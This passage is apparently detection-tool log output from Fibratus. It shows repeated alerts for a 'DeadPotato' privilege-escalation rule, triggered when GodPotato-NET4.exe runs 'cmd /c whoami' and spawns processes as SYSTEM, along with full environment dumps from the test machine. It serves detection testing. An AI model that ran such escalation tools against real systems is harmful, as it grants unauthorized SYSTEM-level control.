tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15392 + Ppid: 13036 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:2d3837f7-f6b4-4490-b251-34aceddbd0fb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T13:40:28+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: [GodPotato-NET4.exe powershell.exe WindowsTerminal.exe explorer.exe] + Event(s): + Seq: 1463674 + Pid: 21240 + Tid: 2860 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 13:40:27.019237 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 14d73d000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe101281b9080, name➜ conhost.exe, pid➜ 12936, ppid➜ 21240, real_ppid➜ 21240, session_id➜ 1, sid➜ S-1-5-18, start_time➜ 2025-11-25 13:40:27.019237 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1764074594522969736, rule.name: Potential privilege escalation via DeadPotato exploit + + Pid: 21240 + Ppid: 21408 + Name: cmd.exe + Parent name: GodPotato-NET4.exe + Cmdline: cmd /c whoami + Parent cmdline: "C:\Users\nedo\Downloads\GodPotato-NET4.exe" -cmd "cmd /c whoami" + Exe: C:\Windows\System32\cmd.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [cmd /c whoami] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T13:40:29+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: [GodPotato-NET4.exe powershell.exe WindowsTerminal.exe explorer.exe] + Event(s): + Seq: 1464018 + Pid: 21240 + Tid: 2860 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 13:40:27.0518163 +0100 CET + Params: cmdline➜ whoami, directory_table_base➜ 3e0787000, domain➜ NT AUTHORITY, exe➜ C:\Windows\System32\whoami.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe10128e7c080, name➜ whoami.exe, pid➜ 20596, ppid➜ 21240, real_ppid➜ 21240, session_id➜ 1, sid➜ S-1-5-18, start_time➜ 2025-11-25 13:40:27.0518163 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1764074594555557244, rule.name: Potential privilege escalation via DeadPotato exploit, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 21240 + Ppid: 21408 + Name: cmd.exe + Parent name: GodPotato-NET4.exe + Cmdline: cmd /c whoami + Parent cmdline: "C:\Users\nedo\Downloads\GodPotato-NET4.exe" -cmd "cmd /c whoami" + Exe: C:\Windows\System32\cmd.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [cmd /c whoami] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T13:40:29+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: [WindowsTerminal.exe explorer.exe] + Event(s): + Seq: 1464785 + Pid: 15392 + Tid: 5088 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 13:40:27.1069528 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Users\nedo\Downloads" "--pswd=C:\Users\nedo\Downloads" "--execution-time=495.8355" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh", directory_table_base➜ 41efc9000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe1012b4ed080, name➜ oh-my-posh.exe, pid➜ 21096, ppid➜ 15392, real_ppid➜ 15392, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 13:40:27.1069528 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764074594610697832, rule.name: Potential privilege escalation via DeadPotato exploit, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15392 + Ppid: 13036 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:2d3837f7-f6b4-4490-b251-34aceddbd0fb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T13:40:30+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: [powershell.exe WindowsTerminal.exe explorer.exe] + Event(s): + Seq: 1465140 + Pid: 21096 + Tid: 20672 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 13:40:27.1178139 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 422b3c000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe101281b9080, name➜ conhost.exe, pid➜ 1996, ppid➜ 21096, real_ppid➜ 21096, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 13:40:27.1178139 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764074594621540300, rule.name: Potential privilege escalation via DeadPotato exploit, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 21096 + Ppid: 15392 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Users\nedo\Downloads" "--pswd=C:\Users\nedo\Downloads" "--execution-time=495.8355" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Users\nedo\Downloads" "--pswd=C:\Users\nedo\Downloads" "--execution-time=495.8355" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T13:40:40+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: [powershell.exe WindowsTerminal.exe explorer.exe] + Event(s): + Seq: 1463500 + Pid: 21408 + Tid: 2588 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 13:40:27.0072853 +0100 CET + Params: cmdline➜ cmd /c whoami, directory_table_base➜ 3f10a3000, domain➜ NT AUTHORITY, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe10128bf3080, name➜ cmd.exe, pid➜ 21240, ppid➜ 21408, real_ppid➜ 4140, session_id➜ 1, sid➜ S-1-5-18, start_time➜ 2025-11-25 13:40:27.0072853 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 0, rule.name: Potential privilege escalation via DeadPotato exploit + + Pid: 21408 + Ppid: 15392 + Name: GodPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\GodPotato-NET4.exe" -cmd "cmd /c whoami" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\GodPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\GodPotato-NET4.exe" -cmd "cmd /c whoami"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T13:41:18+01:00 level=info msg=got signal "interrupt", shutting 